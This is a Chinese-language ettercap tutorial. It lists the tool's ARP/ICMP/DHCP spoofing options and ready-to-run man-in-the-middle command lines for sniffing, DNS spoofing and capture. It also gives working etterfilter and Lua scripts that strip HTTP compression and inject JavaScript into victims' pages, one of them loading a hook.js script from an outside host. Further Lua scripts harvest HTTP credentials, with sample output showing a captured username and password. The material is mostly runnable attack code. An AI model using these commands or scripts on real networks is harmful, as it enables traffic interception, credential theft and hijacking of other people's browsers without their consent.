关于界面:
ettercap提供 3 种运行界面:
- Text #文本模式,参数 -T ,一般配合 -q(安静模式)使用
- Curses/GTK #图形模式,参数 -C/-G
- Daemonize #守护模式(后台模式),参数 -D
运行模式:
两种模式(UNIFIED和BRIDGED)
- Unified #中间人模式,即两台终端间进行欺骗,参数 -M
- Bridged #双网卡之间进行欺骗,参数 -B
目标写法:
目标的写法为 MAC/IPs/PORTs ,或 MAC/IPs/IPv6/PORTs,即 mac地址,ip地址,端口号中间用 “/” 符号隔开,留空不写表示 “ANY”,即所有;如 /192.168.1.1/ 表示 192.168.1.1 的所有端口号,aa:bb:cc:dd:ee:ff//80 表示 aa:bb:cc:dd:ee:ff 的80端口;其中多个mac地址用英文符号逗号 ‘;’ 隔开,多个ip地址和端口号可以用符号 ‘-‘ 表示连续和英文符号分号 ‘;’ 隔开;如 /192.168.1.100-120;192.168.2.130/ 表示 /192.168.1.100,101,102,103,~~120;192.168.12.130/
/192.168.0.1-30,40,50/20,22,25 表示目标IP为192.168.0.1到192.168.0.30的范围和192.168.0.40 192.168.0.50的机器,端口为20 22 25
ettercap -Tq -M ARP:remote --lua-script http_creds.lua /192.168.1.53// /192.168.1.1//80,2022
ettercap -Tq -M ARP:oneway --lua-script http_creds.lua /// /192.168.1.1//80,2022
ettercap -Tq -M ARP:oneway --lua-script http_creds.lua /// /192.168.1.1//
*.lua permission denied报错修改为0
lua sudo gedit /etc/ettercap/etter.conf
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
参数介绍:
攻击和嗅探类
- -M, –mitm ARP欺骗,
- remote #双向模式,同时arp欺骗通信的双方,参数 -M arp:remote
- oneway #单向模式,只arp欺骗第一个目标到第二个目标的通信,参数 -M arp:oneway
-
arp ([remote],[oneway]) //remote双向欺骗,oneway单项欺骗
这个方法实现的是中间人攻击中的ARP中毒,发送ARP请求/回复给受害者。ARP缓存中毒受害者的所有数据包都会发送给攻击者,反之可以修改收到的数据包和重定向数据包的目标地址。
在静默模式(-z 选项)中,只有第一个目标被选中,如果你想在静默模式下投毒给多个目标,需要使用-j选项从文件中加载目标列表。
也可以选择空目标,将被视为是局域网内的“任何主机”。会通过ARP扫描来确定被攻击的目标列表。
“remote”这个参数是可选的,如果要进行双向欺骗就必须选定这个参数,如果在目标列表中指定一个受害者和网关,ettercap会嗅探他们之间的联系,但是使用ettercap嗅探到的数据包要通过网关,你就必须使用这个参数。
“oneway”这个参数只能在目标1和目标2之间投毒。这个功能使用在你只需要在客户之间投毒,而不需要破坏整个路由。
例:
目标: /10.0.0.1-5/ /10.0.0.15-20/
主机列表: 10.0.0.1 10.0.0.3 10.0.0.16 10.0.0.18
结果-受害者之间的联系将会是:
1-16, 1-18, 3-16, 3-18
目标重叠,会跳过相同的IP地址。注:如果你要使其中一台机器瘫痪,必须在内核指定网关设置正确的路由表。如果路由表是错误的,用户将无法连接到互联网。
- icmp欺骗,参数 -M icmp:(MAC/IP)
- DHCP欺骗,参数 -M dhcp:(ip_pool/netmask/dns),如 -M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1是给新接入的主机提供ip地址,子网掩码和网关,-M dhcp:/255.255.255.0/192.168.0.1则不提供ip地址,只欺骗子网掩码和网关
- Port Stealing,端口盗用
- -o, –only-mitm #只进行中间人攻击,不进行嗅探
- -f , –pcapfilter #加载过滤器
- -B, –bridge #Bridged sniffing
离线类参数
- -r, –read #读取本地文件
- -w, –write #将嗅探数据保存到本地
界面显示类
- -T, –text #文本模式显示
- -q, –quiet #安静模式,不显示嗅探数据
- -s, –script #加载脚本
- -C, –curses #curses-UI模式
- -G, –gtk #GTK-UI模式
- -D, –daemonize #daemonize后台模式
普通选项:
- -b, –broadcast #嗅探广播地址
- -i, –iface #选择网卡
- -I, –iflist #列出可用网卡
- -Y, –secondary #后备网卡
- -A, –address #ip地址,针对一网卡多ip的情况
- -n, –netmask
- -R, –reversed
- -z, –silent #不进行arp毒化和主机扫描
- -p, –nopromisc
- -S, –nosslmitm #不使用ssl中间人攻击
- -t, –proto #协议,tcp/udp/all,默认为all
- -u, –unoffensive
- -j, –load-hosts #加载保存的主机地址
- -k, –save-hosts #保存扫描到的主机地址
- -P, –plugin #载入插件
- -F, –filter #载入过滤器文件
- -W, –wifi-key #载入wifi密码:
–wifi-key wep:128:p:secret
–wifi-key wep:128:s:ettercapwep0
–wifi-key ‘wep:64:s:\x01\x02\x03\x04\x05’
–wifi-key wpa:pwd:ettercapwpa:ssid
–wifi-key wpa:psk:663eb260e87cf389c6bd7331b28d82f5203b0cae4e315f9cbb7602f3236708a6
- -a, –config #载入并使用一个非默认配置文件
- –certificate #ssl攻击使用指定的 证书文件
- –private-key #ssl攻击使用指定的私钥文件
可视化参数
- -e, –regex #使用一个正则表达式
- -V, –visual #显示方式
- hex #16进制
- ascii #ASCII码
- text
- ebcdic
- html
- utf8
- -d, –dns #把ip地址转化为主机名
- -E, –ext-headers
- -Q, –superquiet #超级安静模式,啥信息都不显示,只保存
日志记录选项
- -L, –log #把所有数据包保存log文件
- -l, –log-info #读取离线log文件信息
- -m, –log-msg #显示存储在log文件里所有用户用ettercap抓取的信息
- -c, –compress #通过gzip算法压缩log文件
- –o, –only-local #只存储本地局域网主机配置信息
- -O, –only-remote #只存储远程主机配置信息
常见的参数组合:
ettercap -Tqi eth0 -M ARP // //
#arp毒化eth0所在的网段,安静模式文本显示
ettercap -Tzq /10.0.0.1/21,22,23 -w hack.pcap
#监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地
ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ //
#对192.168.1.120进行dns欺骗,使用默认网卡eth0,文本模式安静显示
ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 //
#使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地
ettercap -Tqi eth0 -M ARP /ip// -w scan.log
几个常用的参数组合:
ettercap -Tzq 以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。
ettercap -T -M arp:remote /192.168.1.1//192.168.1.2-10/
嗅探网关(192.168.1.1)与部分主机(192.168.1.2-10)之间相互通信的数据包。
ettercap -Tzq //110
只嗅探本机110端口(pop3)的信息
ettercap -Tzq /10.0.0.1/21,22,23
只嗅探本机与10.0.0.1主机在端口21、22、23上的通信
ettercap -i eth0 -Tq -L sniffed_data -Ffilter.ef -M arp:remote /10.1.1.2/80 //
在eth0网卡上用自己的filter嗅探ip为10.1.1.2主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件
ettercap -i eth0 -Tq -L sniffed_data -Ffilter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/
单向欺骗路由,只劫持路由发向10.1.1.2的数据包。
Enttercap filter写法
Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是:
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似,但只有if语句,不支持循环语句。需要注意的地方是,if与”(”之间必须要有一个空格,且大括号{}不能省略。
Ettercap提供的一些常用的函数有:
search(where, what) 从字符串where中查找what,若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex,若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出
数据篡改使用etterfilter
1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。
# 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
msg("change encoding");
}
}
# 对于服务器响应,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>", "<head><script>alert('js inject')</script>");
msg("inject head");
}
}
这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。
2.使用etterfilter将filter文件编译成ef文件
etterfilter ig.filter -o ig.ef
3.在监听数据的同时加载过滤器
sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如http://m.ctrip.com,如果成功会看到网页弹窗。
使用Lua脚本描述过滤器
使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。
sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//
使用Lua实现上述功能的代码如下。
/usr/share/ettercap/lua/scripts/inject.lua
description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";
hook_point = hooks.filter;
packet_rule = function(packet_object)
return (packet_object:is_tcp() and
packet_object:has_data() and
(packet_object:dst_port() == 80 or
packet_object:src_port() == 80));
end
action = function(packet_object)
p = packet_object;
data = p:read_data();
if string.find(data, "Accept.Encoding:") then
s,e = string.find(data, "Accept.Encoding:.-\n")
newdata = string.gsub(data, "Accept.Encoding:.-\n",
"Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
packet.set_data(p, newdata)
-- ettercap.log("Changing Encoding");
return
end
body = string.upper(data);
if (string.find(body, '<HEAD>')) then
s,e = string.find(body, '<TITLE>.-</TITLE>');
if s then
title = string.sub(data, s, e);
s,e = string.find(body, '<TITLE>.-</TITLE>');
if not s or not e then
return;
end
len = e - s;
idata = "<title>" .. description .. "</title>" .. inject .. "\n";
print(idata);
newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
-- ettercap.log("Updating string");
packet.set_data(p, newstr);
end
end
end
eg: js inject
description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
--inject = "<script>alert('Inject JS using Lua.')</script>";
inject = "<script src='http://192.168.3.100/hook.js'></script>";
hook_point = hooks.filter;
packet_rule = function(packet_object)
return (packet_object:is_tcp() and
packet_object:has_data() and
(packet_object:dst_port() == 80 or
packet_object:src_port() == 80));
end
action = function(packet_object)
p = packet_object;
data = p:read_data();
if string.find(data, "Accept.Encoding:") then
s,e = string.find(data, "Accept.Encoding:.-\n")
newdata = string.gsub(data, "Accept.Encoding:.-\n",
"Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
packet.set_data(p, newdata)
-- ettercap.log("Changing Encoding");
return
end
body = string.upper(data);
--packet.set_data(p, inject);
if (string.find(body, '<HTML>')) then
s,e = string.find(body, '<TITLE>.-</TITLE>');
if s then
title = string.sub(data, s, e);
s,e = string.find(body, '<TITLE>.-</TITLE>');
if not s or not e then
return;
end
len = e - s;
idata = inject .. "\n";
--idata = "<title>" .. description .. "</title>" .. inject .. "\n";
print(idata);
newstr = string.sub(data, 0, e) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
-- ettercap.log("Updating string");
print(newstr);
packet.set_data(p, newstr);
end
end
end
eg: get http request
ettercap -T -q -M ARP:remote --lua-script http_requests.lua /// /192.168.1.1//
---
--
-- Created by Ryan Linn and Mike Ryan
-- Copyright (C) 2012 Trustwave Holdings, Inc.
description = "Script to show HTTP requsts";
local http = require("http")
local packet = require("packet")
local bin = require("bit")
hook_point = http.hook
packetrule = function(packet_object)
-- If this isn't a tcp packet, it's not really a HTTP request
-- since we're hooked in the HTTP dissector, we can assume that this
-- should never fail, but it's a good sanity check
if packet.is_tcp(packet_object) == false then
return false
end
return true
end
-- Here's your action.
action = function(packet_object)
local p = packet_object
-- Parse the http data into an HTTP object
local hobj = http.parse_http(p)
-- If there's no http object, get out
if hobj == nil then
return
end
-- Get out session key for tracking req->reply pairs
local session_id = http.session_id(p,hobj)
-- If we can't track sessions, this won't work, get out
if session_id == nil then
return
end
-- We have a session, lets get our registry space
local reg = ettercap.reg.create_namespace(session_id)
-- If it's a request, save the request to the registry
-- We'll need this for the response
if hobj.request then
reg.request = hobj
-- we have a response object, let't put the log together
elseif hobj.response then
-- If we haven't seen the request, we don't have anything to share
if not reg.request then
return
end
-- Get the status code
local code = hobj.status_code
-- Build the request URL
-- If we have a 2XX or 4XX or 5XX code, we won't need to log redirect
-- so just log the request and code
if code >= 200 and code < 300 or code >= 400 then
ettercap.log("HTTP_REQ: %s:%d -> %s:%d %s %s %d (%s)\n",
packet.dst_ip(p),
packet.dst_port(p),
packet.src_ip(p),
packet.src_port(p),
reg.request.verb ,reg.request.url , hobj.status_code, hobj.status_msg)
-- These codes require redirect, so log the redirect as well
elseif code >= 300 and code <= 303 then
local redir = ""
-- Get the redirect location
if hobj.headers["Location"] then
redir = hobj.headers["Location"]
end
-- Log the request/response with the redirect
ettercap.log("HTTP_REQ: %s:%d -> %s:%d %s %s -> %s %d (%s)\n",
packet.dst_ip(p),
packet.dst_port(p),
packet.src_ip(p),
packet.src_port(p),
reg.request.verb ,reg.request.url, redir, hobj.status_code, hobj.status_msg)
end
end
end
cmd:
HTTP_REQ: 192.168.1.5:56802 -> 47.94:80 GET http://plc.xxx.com/ 200 (OK)
HTTP_REQ: 192.168.1.5:34630 -> 47.9:80 GET http://plc.xxxm/index.php?user-login 200 (OK)
HTTP : 47.94:80 -> USER: admin PASS: INFO: http://.php?user-login
CONTENT: username=admin
HTTP_REQ: 192.168.1.5:34630 -> 47:80 POST http://x.com/index.php?username 200 (OK)
HTTP : 471:80 -> USER: admin PASS: admin888 INFO: http://plc.xxx.com/index.php?user-login
CONTENT: _token=6eLJivi4rMGlQ3UhHwn8bxxmnwJ&username=admin&password=admin888
http_creds.lua
---
--
-- Created by Ryan Linn and Mike Ryan
-- Copyright (C) 2012 Trustwave Holdings, Inc.
description = "Script to show HTTP requsts";
local http = require("http")
local packet = require("packet")
hook_point = http.hook
packetrule = function(packet_object)
-- If this isn't a tcp packet, it's not really a HTTP request
-- since we're hooked in the HTTP dissector, we can assume that this
-- should never fail, but it's a good sanity check
if packet.is_tcp(packet_object) == false then
return false
end
return true
end
-- Here's your action.
action = function(packet_object)
local p = packet_object
-- Parse the http data into an HTTP object
local hobj = http.parse_http(p)
-- If there's no http object, get out
if hobj == nil then
return
end
-- If it's a request, save the request to the registry
-- We'll need this for the response
if hobj.request then
if hobj.creds then
-- Log the request/response with the redirect
ettercap.log("HTTP_CREDS: %s:%d -> %s:%d %s %s [User:Pass = %s]\n",
packet.src_ip(p),
packet.src_port(p),
packet.dst_ip(p),
packet.dst_port(p),
hobj.verb ,hobj.url, hobj.creds)
end
end
end